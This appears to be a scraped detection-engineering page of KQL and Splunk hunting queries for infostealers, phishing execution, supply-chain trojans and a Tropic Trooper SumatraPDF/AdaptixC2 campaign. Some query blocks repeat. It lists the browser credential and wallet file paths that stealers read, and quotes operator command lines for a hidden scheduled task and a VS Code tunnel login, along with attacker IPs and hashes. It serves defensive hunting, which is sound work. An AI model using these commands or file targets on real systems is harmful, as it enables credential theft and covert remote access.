| where FolderPath has_any ("\Google\Chrome\User Data\","\Microsoft\Edge\User Data\","\Mozilla\Firefox\Profiles\")
| where FileName in~ ("Login Data","Cookies","logins.json","cookies.sqlite")
| where InitiatingProcessFileName !in~ ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FolderPath, FileName, ActionType
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Filesystem
where (Filesystem.file_path="*\Google\Chrome\User Data\*\Login Data*"
OR Filesystem.file_path="*\Google\Chrome\User Data\*\Cookies*"
OR Filesystem.file_path="*\Microsoft\Edge\User Data\*\Login Data*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\logins.json*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\cookies.sqlite*")
AND NOT Filesystem.process_name IN ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
by Filesystem.dest, Filesystem.process_name, Filesystem.file_path, Filesystem.user
| `drop_dm_object_name(Filesystem)`
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2026-33626", "CVE-2026-32202", "CVE-2026-3854")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
Supply-chain trojan signal: legitimate signed binary spawning script interpreters or exotic LOLBins.
ATT&CKT1195.002
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("setup.exe","installer.exe","update.exe")
| where FileName in~ ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("setup.exe","installer.exe","update.exe")
AND Processes.process_name IN ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
2026-04-248 use cases6 techniques6 kill-chain phases detected
Cybersecurity researchers have discovered a set of malicious apps on the Apple App Store that impersonate popular cryptocurrency wallets in an attempt to steal recovery phrases and private keys since at least fall 2025. "Once launched, these apps redirect users to browser pages designed to look similar to the App Store and distribute trojanized versions of legitimate wallets," Kaspersky
CVEsCVE-2026-33626CVE-2026-32202CVE-2026-3854
ATT&CKT1027T1176T1190T1195.002T1204.002T1566
Click any ATT&CK pill below to open it on the Matrix
Side-loaded / unsigned extensions, often masquerading as wallets, productivity tools.
ATT&CKT1176
Data sourcesEndpoint.RegistryDeviceRegistryEvents
DeviceRegistryEvents
| where Timestamp > ago(7d)
| where RegistryKey has_any ("\Software\Google\Chrome\Extensions\","\Software\Microsoft\Edge\Extensions\","\Software\Mozilla\Firefox\Extensions\")
| project Timestamp, DeviceName, RegistryKey, RegistryValueName, RegistryValueData,
InitiatingProcessFileName, InitiatingProcessAccountName
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Registry
where (Registry.registry_path="*\Software\Google\Chrome\Extensions\*"
OR Registry.registry_path="*\Software\Microsoft\Edge\Extensions\*"
OR Registry.registry_path="*\Software\Mozilla\Firefox\Extensions\*")
by Registry.dest, Registry.registry_path, Registry.registry_value_data, Registry.registry_value_name, Registry.user
| `drop_dm_object_name(Registry)`
Infostealer — non-browser process accessing browser cookie/login DBsActions on ObjectivesHigh
Stealers (RedLine, Lumma, Vidar, Atomic) read Login Data / cookies SQLite from Chrome/Edge/Firefox.
ATT&CKT1539T1555.003
Data sourcesEndpoint.FilesystemDeviceFileEvents
DeviceFileEvents
| where Timestamp > ago(7d)
| where FolderPath has_any ("\Google\Chrome\User Data\","\Microsoft\Edge\User Data\","\Mozilla\Firefox\Profiles\")
| where FileName in~ ("Login Data","Cookies","logins.json","cookies.sqlite")
| where InitiatingProcessFileName !in~ ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FolderPath, FileName, ActionType
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Filesystem
where (Filesystem.file_path="*\Google\Chrome\User Data\*\Login Data*"
OR Filesystem.file_path="*\Google\Chrome\User Data\*\Cookies*"
OR Filesystem.file_path="*\Microsoft\Edge\User Data\*\Login Data*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\logins.json*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\cookies.sqlite*")
AND NOT Filesystem.process_name IN ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
by Filesystem.dest, Filesystem.process_name, Filesystem.file_path, Filesystem.user
| `drop_dm_object_name(Filesystem)`
Crypto-wallet file/keystore access by non-wallet processActions on ObjectivesHigh
DeviceFileEvents
| where Timestamp > ago(7d)
| where FolderPath has_any ("\Ethereum\keystore\","\Bitcoin\","\Exodus\","\Electrum\wallets\","\MetaMask\","\Phantom\","\Atomic\Local Storage\")
| where InitiatingProcessFileName !in~ ("MetaMask.exe","Exodus.exe","Atomic.exe","electrum.exe","Bitcoin.exe","Phantom.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FolderPath, FileName, ActionType
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Filesystem
where (Filesystem.file_path="*\Ethereum\keystore\*"
OR Filesystem.file_path="*\Bitcoin\wallet.dat"
OR Filesystem.file_path="*\Exodus\exodus.wallet*"
OR Filesystem.file_path="*\Electrum\wallets\*"
OR Filesystem.file_path="*\MetaMask\*"
OR Filesystem.file_path="*\Phantom\*"
OR Filesystem.file_path="*\Atomic\Local Storage\*")
AND NOT Filesystem.process_name IN ("MetaMask.exe","Exodus.exe","Atomic.exe","electrum.exe","Bitcoin.exe","Phantom.exe")
by Filesystem.dest, Filesystem.process_name, Filesystem.file_path, Filesystem.user
| `drop_dm_object_name(Filesystem)`
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2026-33626", "CVE-2026-32202", "CVE-2026-3854")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
Phishing-link click correlated to endpoint executionDeliveryHigh
User received an external email containing a URL, clicked it, and within
60 seconds the recipient's endpoint spawned a scripting interpreter or
network downloader (PowerShell / cmd / mshta / curl / certutil / bitsadmin).
This is the high-fidelity shape — a raw "user clicked an emailed URL"
query is too noisy to alert on because every Microsoft 365 tenant
generates thousands of legitimate clicks per day. The exec-correlation
step suppresses the noise to roughly the rate at which a click actually
drives onto-host execution, which is the actionable signal.
Pair with UC_PHISH_LINK_BYPASS (Safe Links override) and UC_PHISH_LINK_NEWDOMAIN
for orthogonal high-fidelity variants.
ATT&CKT1566.002T1204.001T1059.001
Data sourcesEmail.All_EmailWebEndpoint.ProcessesEmailEventsEmailUrlInfoUrlClickEventsDeviceProcessEvents
// Phishing-link click that drives endpoint execution within 60s.
// Far higher fidelity than "every clicked URL" — most legitimate clicks
// never spawn a non-browser child process, so the join eliminates the
// 99% of noise that makes a raw click query unactionable.
let LookbackDays = 7d;
let SuspectClicks = UrlClickEvents
| where Timestamp > ago(LookbackDays)
| where ActionType in ("ClickAllowed","ClickedThrough")
| join kind=inner (
EmailEvents
| where Timestamp > ago(LookbackDays)
| where DeliveryAction == "Delivered"
| where EmailDirection == "Inbound"
| project NetworkMessageId, Subject, SenderFromAddress, SenderFromDomain,
RecipientEmailAddress, EmailTimestamp = Timestamp
) on NetworkMessageId
| join kind=leftouter (
EmailUrlInfo | project NetworkMessageId, Url, UrlDomain
) on NetworkMessageId, Url
| project ClickTime = Timestamp, AccountUpn, IPAddress, Url, UrlDomain,
Subject, SenderFromAddress, SenderFromDomain, RecipientEmailAddress,
ActionType;
// Correlate to a non-browser child process spawned within 60 seconds on
// the recipient's device.
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
| where FileName in~ ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe","cscript.exe",
"bitsadmin.exe","certutil.exe","curl.exe","wget.exe")
| join kind=inner SuspectClicks on $left.AccountName == $right.AccountUpn
| where Timestamp between (ClickTime .. ClickTime + 60s)
| project ClickTime, ProcessTime = Timestamp,
DelaySec = datetime_diff('second', Timestamp, ClickTime),
DeviceName, AccountName, RecipientEmailAddress, SenderFromAddress,
Subject, Url, UrlDomain, ActionType,
FileName, ProcessCommandLine, InitiatingProcessFileName
| order by ClickTime desc
``` Phishing-link click that drives endpoint execution within 60s ```
| tstats `summariesonly` earliest(_time) AS click_time
from datamodel=Web
where Web.action="allowed"
by Web.src, Web.user, Web.dest, Web.url
| `drop_dm_object_name(Web)`
| rename user AS recipient, dest AS clicked_domain, url AS clicked_url
| join type=inner recipient
[| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.action="delivered" AND All_Email.url!="-"
by All_Email.recipient, All_Email.src_user, All_Email.url, All_Email.subject
| `drop_dm_object_name(All_Email)`
| rex field=url "https?://(?<email_domain>[^/]+)"
| rename recipient AS recipient]
| join type=inner src
[| tstats `summariesonly` earliest(_time) AS exec_time
values(Processes.process) AS exec_cmd, values(Processes.process_name) AS exec_proc
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
AND Processes.process_name IN ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe",
"cscript.exe","bitsadmin.exe","certutil.exe",
"curl.exe","wget.exe")
by Processes.dest, Processes.user
| `drop_dm_object_name(Processes)`
| rename dest AS src]
| eval delta_sec = exec_time - click_time
| where delta_sec >= 0 AND delta_sec <= 60
| table click_time, exec_time, delta_sec, recipient, src, src_user, subject,
clicked_domain, clicked_url, exec_proc, exec_cmd
| sort - click_time
Email attachment opened from external senderDeliveryHigh
Attachment delivery + execution by recipient — most common malware initial access.
ATT&CKT1566.001T1204.002
Data sourcesEmail.All_EmailEndpoint.ProcessesEmailAttachmentInfoDeviceProcessEvents
let LookbackDays = 7d;
let MalAttachments = EmailAttachmentInfo
| where Timestamp > ago(LookbackDays)
| project NetworkMessageId, RecipientEmailAddress,
AttachmentFileName = FileName, AttachmentSHA256 = SHA256;
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("OUTLOOK.EXE","winword.exe","excel.exe","powerpnt.exe")
| where FileName in~ ("cmd.exe","powershell.exe","wscript.exe","cscript.exe",
"mshta.exe","rundll32.exe","regsvr32.exe")
| join kind=inner MalAttachments on $left.AccountUpn == $right.RecipientEmailAddress
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine,
InitiatingProcessFileName, AttachmentFileName, AttachmentSHA256
| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.file_name!="-"
by All_Email.src_user, All_Email.recipient, All_Email.file_name, All_Email.subject
| rename All_Email.recipient as user
| join type=inner user
[| tstats `summariesonly` count
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("OUTLOOK.EXE","winword.exe","excel.exe","powerpnt.exe")
AND Processes.process_name IN ("cmd.exe","powershell.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| rename Processes.user as user]
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("winword.exe","excel.exe","powerpnt.exe","outlook.exe","onenote.exe","mspub.exe","visio.exe")
| where FileName in~ ("cmd.exe","powershell.exe","pwsh.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe","wmic.exe","bitsadmin.exe","certutil.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("winword.exe","excel.exe","powerpnt.exe","outlook.exe","onenote.exe","mspub.exe","visio.exe")
AND Processes.process_name IN ("cmd.exe","powershell.exe","pwsh.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe","wmic.exe","bitsadmin.exe","certutil.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
Supply-chain trojan signal: legitimate signed binary spawning script interpreters or exotic LOLBins.
ATT&CKT1195.002
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("setup.exe","installer.exe","update.exe")
| where FileName in~ ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("setup.exe","installer.exe","update.exe")
AND Processes.process_name IN ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
2026-04-249 use cases4 techniques6 kill-chain phases detected
Chinese-speaking individuals are the target of a new campaign that uses a trojanized version of SumatraPDF reader to deploy the AdaptixC2 Beacon post-exploitation agent and ultimately facilitate the abuse of Microsoft Visual Studio Code (VS Code) tunnels for remote access. Zscaler ThreatLabz, which discovered the campaign last month, has attributed it with high confidence to Tropic Trooper (aka
CVEsCVE-2026-33626CVE-2026-32202CVE-2026-3854
ATT&CKT1176T1190T1195.002T1204.002
IPs158.247.193.100
Click any ATT&CK pill below to open it on the Matrix
Command & Control. Beacon to attacker infrastructure for control and tasking. → Beaconing — periodic outbound to small set of destinations · Network connections to article IPs / domains · [LLM] Tropic Trooper VS Code remote tunnel login to GitHub provider (AdaptixC2 follow-on)
Actions on Objectives. Lateral movement, credential dumping, data theft, ransomware, sabotage. → Infostealer — non-browser process accessing browser cookie/login DBs
Beaconing — periodic outbound to small set of destinationsCommand & ControlMedium
C2 channel detection via inter-beacon-time stddev / fan-out to single dest.
ATT&CKT1071.001T1071.004
Data sourcesNetwork_Traffic.All_TrafficDeviceNetworkEvents
DeviceNetworkEvents
| where Timestamp > ago(1d)
| where RemoteIPType == "Public" and ActionType == "ConnectionSuccess"
| project DeviceName, RemoteIP, RemotePort, Timestamp
| sort by DeviceName asc, RemoteIP asc, RemotePort asc, Timestamp asc
| extend prev_dev = prev(DeviceName, 1), prev_ip = prev(RemoteIP, 1),
prev_port = prev(RemotePort, 1), prev_ts = prev(Timestamp, 1)
| where DeviceName == prev_dev and RemoteIP == prev_ip and RemotePort == prev_port
| extend delta_sec = datetime_diff('second', Timestamp, prev_ts)
| summarize conn_count = count(), avg_delta = avg(delta_sec), stdev_delta = stdev(delta_sec)
by DeviceName, RemoteIP, RemotePort
| where conn_count > 30 and avg_delta between (30.0 .. 600.0) and stdev_delta < 5.0
| order by conn_count desc
| tstats `summariesonly` count, values(All_Traffic.dest_port) AS ports
from datamodel=Network_Traffic.All_Traffic
where All_Traffic.action="allowed" AND All_Traffic.dest_category!="internal"
by _time span=10s, All_Traffic.src, All_Traffic.dest
| `drop_dm_object_name(All_Traffic)`
| streamstats current=f last(_time) AS prev_time by src, dest
| eval delta = _time - prev_time
| stats avg(delta) AS avg_delta stdev(delta) AS sd_delta count by src, dest
| where count > 30 AND sd_delta < 5 AND avg_delta>=30 AND avg_delta<=600
| sort - count
Network connections to article IPs / domainsCommand & ControlHigh
Outbound traffic to attacker infrastructure named in the article.
ATT&CKT1071
Data sourcesNetwork_Traffic.All_TrafficWebNetwork_Resolution.DNSDeviceNetworkEvents
DeviceNetworkEvents
| where Timestamp > ago(7d)
| where RemoteIP in ("158.247.193.100") or RemoteUrl has_any ("")
| project Timestamp, DeviceName, ActionType, RemoteIP, RemotePort, RemoteUrl,
InitiatingProcessFileName, InitiatingProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Network_Traffic.All_Traffic
where All_Traffic.dest IN ("158.247.193.100")
by All_Traffic.src, All_Traffic.dest, All_Traffic.dest_port
| `drop_dm_object_name(All_Traffic)`
| append
[| tstats `summariesonly` count from datamodel=Web
where Web.dest IN ("")
by Web.src, Web.dest, Web.url, Web.user
| `drop_dm_object_name(Web)`]
| append
[| tstats `summariesonly` count from datamodel=Network_Resolution.DNS
where DNS.query IN ("")
by DNS.src, DNS.query, DNS.answer
| `drop_dm_object_name(DNS)`]
Side-loaded / unsigned extensions, often masquerading as wallets, productivity tools.
ATT&CKT1176
Data sourcesEndpoint.RegistryDeviceRegistryEvents
DeviceRegistryEvents
| where Timestamp > ago(7d)
| where RegistryKey has_any ("\Software\Google\Chrome\Extensions\","\Software\Microsoft\Edge\Extensions\","\Software\Mozilla\Firefox\Extensions\")
| project Timestamp, DeviceName, RegistryKey, RegistryValueName, RegistryValueData,
InitiatingProcessFileName, InitiatingProcessAccountName
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Registry
where (Registry.registry_path="*\Software\Google\Chrome\Extensions\*"
OR Registry.registry_path="*\Software\Microsoft\Edge\Extensions\*"
OR Registry.registry_path="*\Software\Mozilla\Firefox\Extensions\*")
by Registry.dest, Registry.registry_path, Registry.registry_value_data, Registry.registry_value_name, Registry.user
| `drop_dm_object_name(Registry)`
Infostealer — non-browser process accessing browser cookie/login DBsActions on ObjectivesHigh
Stealers (RedLine, Lumma, Vidar, Atomic) read Login Data / cookies SQLite from Chrome/Edge/Firefox.
ATT&CKT1539T1555.003
Data sourcesEndpoint.FilesystemDeviceFileEvents
DeviceFileEvents
| where Timestamp > ago(7d)
| where FolderPath has_any ("\Google\Chrome\User Data\","\Microsoft\Edge\User Data\","\Mozilla\Firefox\Profiles\")
| where FileName in~ ("Login Data","Cookies","logins.json","cookies.sqlite")
| where InitiatingProcessFileName !in~ ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FolderPath, FileName, ActionType
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Filesystem
where (Filesystem.file_path="*\Google\Chrome\User Data\*\Login Data*"
OR Filesystem.file_path="*\Google\Chrome\User Data\*\Cookies*"
OR Filesystem.file_path="*\Microsoft\Edge\User Data\*\Login Data*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\logins.json*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\cookies.sqlite*")
AND NOT Filesystem.process_name IN ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
by Filesystem.dest, Filesystem.process_name, Filesystem.file_path, Filesystem.user
| `drop_dm_object_name(Filesystem)`
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2026-33626", "CVE-2026-32202", "CVE-2026-3854")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
Supply-chain trojan signal: legitimate signed binary spawning script interpreters or exotic LOLBins.
ATT&CKT1195.002
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("setup.exe","installer.exe","update.exe")
| where FileName in~ ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("setup.exe","installer.exe","update.exe")
AND Processes.process_name IN ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
[LLM] Tropic Trooper VS Code remote tunnel login to GitHub provider (AdaptixC2 follow-on)Command & ControlHigh
Hunts the operator's hands-on-keyboard pivot from AdaptixC2 to a VS Code Remote Tunnel for stealthy interactive access. Specifically targets `code.exe tunnel user login --provider github` invocations with output redirected to z.txt/z2.txt, optionally preceded by a `tasklist | findstr code.exe` guard, executed from C:\Users\Public\Documents.
Rationale: The Zscaler write-up shows the exact operator commands `code tunnel user login --provider github > z.txt` and the `tasklist|findstr /i code.exe || code tunnel user login --provider github > z2.txt` guard run from C:\Users\Public\Documents. The combination of `tunnel user login` + `--provider github` + redirect to the named text files is unique to this campaign and not produced by legitimate VS Code use.
Cross-checked against:
• https://www.zscaler.com/blogs/security-research/tropic-trooper-pivots-adaptixc2-and-custom-beacon-listener
• https://gbhackers.com/tropic-trooper-uses-custom-beacon/
• https://attack.mitre.org/techniques/T1219/
ATT&CKT1219T1102.002T1059.003
Data sourcesEndpoint.Processes
DeviceProcessEvents
| where FileName =~ "code.exe" or ProcessCommandLine has "code.exe" or ProcessCommandLine has "code tunnel"
| where ProcessCommandLine has "tunnel" and ProcessCommandLine has "user login" and ProcessCommandLine has "--provider" and ProcessCommandLine has "github"
| where ProcessCommandLine has_any ("z.txt", "z2.txt", @"Users\Public\Documents")
or InitiatingProcessCommandLine has_any ("tasklist", "findstr")
| project Timestamp, DeviceName, AccountName, FolderPath, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessParentFileName
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name=code.exe AND Processes.process="*tunnel*" AND Processes.process="*user login*" AND Processes.process="*--provider*" AND Processes.process="*github*" by Processes.dest Processes.user Processes.parent_process_name Processes.parent_process Processes.process_name Processes.process Processes.process_id | `drop_dm_object_name(Processes)` | where match(process,"(?i)(z\.txt|z2\.txt|Users\\Public\\Documents|tasklist.*findstr.*code\.exe)") | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
Detects the bespoke scheduled-task persistence used in the SumatraPDF/AdaptixC2 chain — task names \\MSDNSvc and \\MicrosoftUDN with `/sc hourly /mo 2 /RL HIGHEST` invoking dsn.exe or MicrosoftCompilers.exe out of C:\Users\Public\Documents (including the MicrosoftCompilers.exe + 2.library-ms argument pattern indicating Roslyn-compiler abuse).
Rationale: Zscaler documents two literal command lines: `schtasks /create /tn \MSDNSvc /sc hourly /mo 2 /tr C:\users\public\documents\dsn.exe /f /RL HIGHEST` and `schtasks /create /tn \MicrosoftUDN /sc hourly /mo 2 /f /tr C:\Users\Public\Documents\MicrosoftCompilers.exe C:\Users\Public\Documents\2.library-ms`. The hourly /mo 2 cadence + Public\Documents path + these specific task names are not generic and not present in public Sigma/Splunk content.
Cross-checked against:
• https://www.zscaler.com/blogs/security-research/tropic-trooper-pivots-adaptixc2-and-custom-beacon-listener
• https://gbhackers.com/tropic-trooper-uses-custom-beacon/
• https://attack.mitre.org/groups/G0081/
ATT&CKT1053.005T1218.014T1127.001
Data sourcesEndpoint.Processes
DeviceProcessEvents
| where FileName =~ "schtasks.exe"
| where ProcessCommandLine has "/create"
| where ProcessCommandLine has_any (@"\MSDNSvc", @"\MicrosoftUDN")
| where ProcessCommandLine has "hourly" and ProcessCommandLine has "/mo 2"
| where ProcessCommandLine has_any (@"Users\Public\Documents", "dsn.exe", "MicrosoftCompilers.exe", "2.library-ms")
| project Timestamp, DeviceName, AccountName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessParentFileName
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name=schtasks.exe AND Processes.process="*/create*" AND (Processes.process="*\\MSDNSvc*" OR Processes.process="*\\MicrosoftUDN*") AND Processes.process="*hourly*" AND Processes.process="*/mo 2*" by Processes.dest Processes.user Processes.parent_process_name Processes.parent_process Processes.process | `drop_dm_object_name(Processes)` | where match(process,"(?i)(Users\\Public\\Documents|dsn\.exe|MicrosoftCompilers\.exe|2\.library-ms)") | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
Atomic IOC sweep for the Tropic Trooper SumatraPDF/AdaptixC2 chain. Joins file/process hash hits for the trojanized SumatraPDF, TOSHIS shellcode (4d.dat) and AdaptixC2 DLL with outbound traffic to staging server 158.247.193.100, payload host bashupload.app, and api.github.com requests referencing the operator-controlled `cvaS23uchsahs/rss` repository.
Rationale: Hashes (47c7ce0e... trojanized SumatraPDF, aeec65ba... TOSHIS 4d.dat, 7a95ce0b... AdaptixC2 DLL) and infrastructure (158.247.193.100 staging, bashupload.app payload host, GitHub repo `cvaS23uchsahs/rss`, watermark-520 Cobalt Strike at 47.76.236.58/stg.lsmartv.com) are all explicitly enumerated in the Zscaler ThreatLabz post and confirmed by GBHackers' second write-up. Each value is unique enough to operate as alerting-grade IOC with negligible FP risk.
Cross-checked against:
• https://www.zscaler.com/blogs/security-research/tropic-trooper-pivots-adaptixc2-and-custom-beacon-listener
• https://gbhackers.com/tropic-trooper-uses-custom-beacon/
• https://securityboulevard.com/2026/04/tropic-trooper-pivots-to-adaptixc2-and-custom-beacon-listener/
ATT&CKT1608.001T1102.002T1027.013T1620
Data sourcesEndpoint.ProcessesEndpoint.FilesystemNetwork_Traffic.All_TrafficWeb
let badHashes = dynamic([
"47c7ce0e3816647b23bb180725c7233e505f61c35e7776d47fd448009e887857",
"aeec65bac035789073b567753284b64ce0b95bbae62cf79e1479714238af0eb7",
"7a95ce0b5f201d9880a6844a1db69aac7d1a0bf1c88f85989264caf6c82c6001",
"a4f2131eb497afe5f78d8d6e534df2b8d75c5b9b565c3ec17a323afe5355da26",
"3936f522f187f8f67dda3dc88abfd170f6ba873af81fc31bbf1fdbcad1b2a7fb",
"6eaea92394e115cd6d5bab9ae1c6d088806229aae320e6c519c2d2210dbc94fe"
]);
let badIPs = dynamic(["158.247.193.100", "47.76.236.58"]);
let badHosts = dynamic(["bashupload.app", "stg.lsmartv.com"]);
union isfuzzy=true
( DeviceFileEvents
| where SHA256 in (badHashes) or FileName endswith "4d.dat" or FileName endswith "1C.dat" or FileName endswith "2C.dat"
| project Timestamp, DeviceName, FileName, FolderPath, SHA256, InitiatingProcessFileName, InitiatingProcessCommandLine, ActionType, Source="FileEvents"),
( DeviceProcessEvents
| where SHA256 in (badHashes) or ProcessCommandLine has "curl/8.5.0" and ProcessCommandLine has "ipinfo.io"
| project Timestamp, DeviceName, AccountName, FileName, FolderPath, SHA256, ProcessCommandLine, InitiatingProcessFileName, Source="ProcessEvents"),
( DeviceNetworkEvents
| where RemoteIP in (badIPs) or RemoteUrl has_any (badHosts) or RemoteUrl has "api.github.com/repos/cvaS23uchsahs/rss"
| project Timestamp, DeviceName, RemoteIP, RemotePort, RemoteUrl, InitiatingProcessFileName, InitiatingProcessCommandLine, Source="NetworkEvents")
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_hash IN ("47c7ce0e3816647b23bb180725c7233e505f61c35e7776d47fd448009e887857","aeec65bac035789073b567753284b64ce0b95bbae62cf79e1479714238af0eb7","7a95ce0b5f201d9880a6844a1db69aac7d1a0bf1c88f85989264caf6c82c6001","3936f522f187f8f67dda3dc88abfd170f6ba873af81fc31bbf1fdbcad1b2a7fb","6eaea92394e115cd6d5bab9ae1c6d088806229aae320e6c519c2d2210dbc94fe") by Processes.dest Processes.user Processes.process_name Processes.process_hash Processes.process | `drop_dm_object_name(Processes)` | append [| tstats `summariesonly` count from datamodel=Network_Traffic.All_Traffic where (All_Traffic.dest="158.247.193.100" OR All_Traffic.dest_host IN ("bashupload.app","stg.lsmartv.com") OR All_Traffic.dest="47.76.236.58") by All_Traffic.src All_Traffic.dest All_Traffic.dest_host All_Traffic.dest_port All_Traffic.app | `drop_dm_object_name(All_Traffic)`] | append [search index=proxy OR sourcetype=*proxy* (url="*api.github.com/repos/cvaS23uchsahs/rss*" OR url="*bashupload.app/6e1lhc*" OR url="*bashupload.app/zgel2a*") | stats count by src dest url http_user_agent] | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
Delivery. Transmitting the weapon (phishing email, USB, watering hole, drive-by, malicious ad). → Phishing-link click correlated to endpoint execution · Email attachment opened from external sender
Exploitation. Triggering the exploit — vulnerability/macro/trust abuse to execute code. → Office app spawning script/LOLBin child process
Installation. Establishing persistence on the host — backdoor, service, scheduled task, registry key.
Command & Control. Beacon to attacker infrastructure for control and tasking.
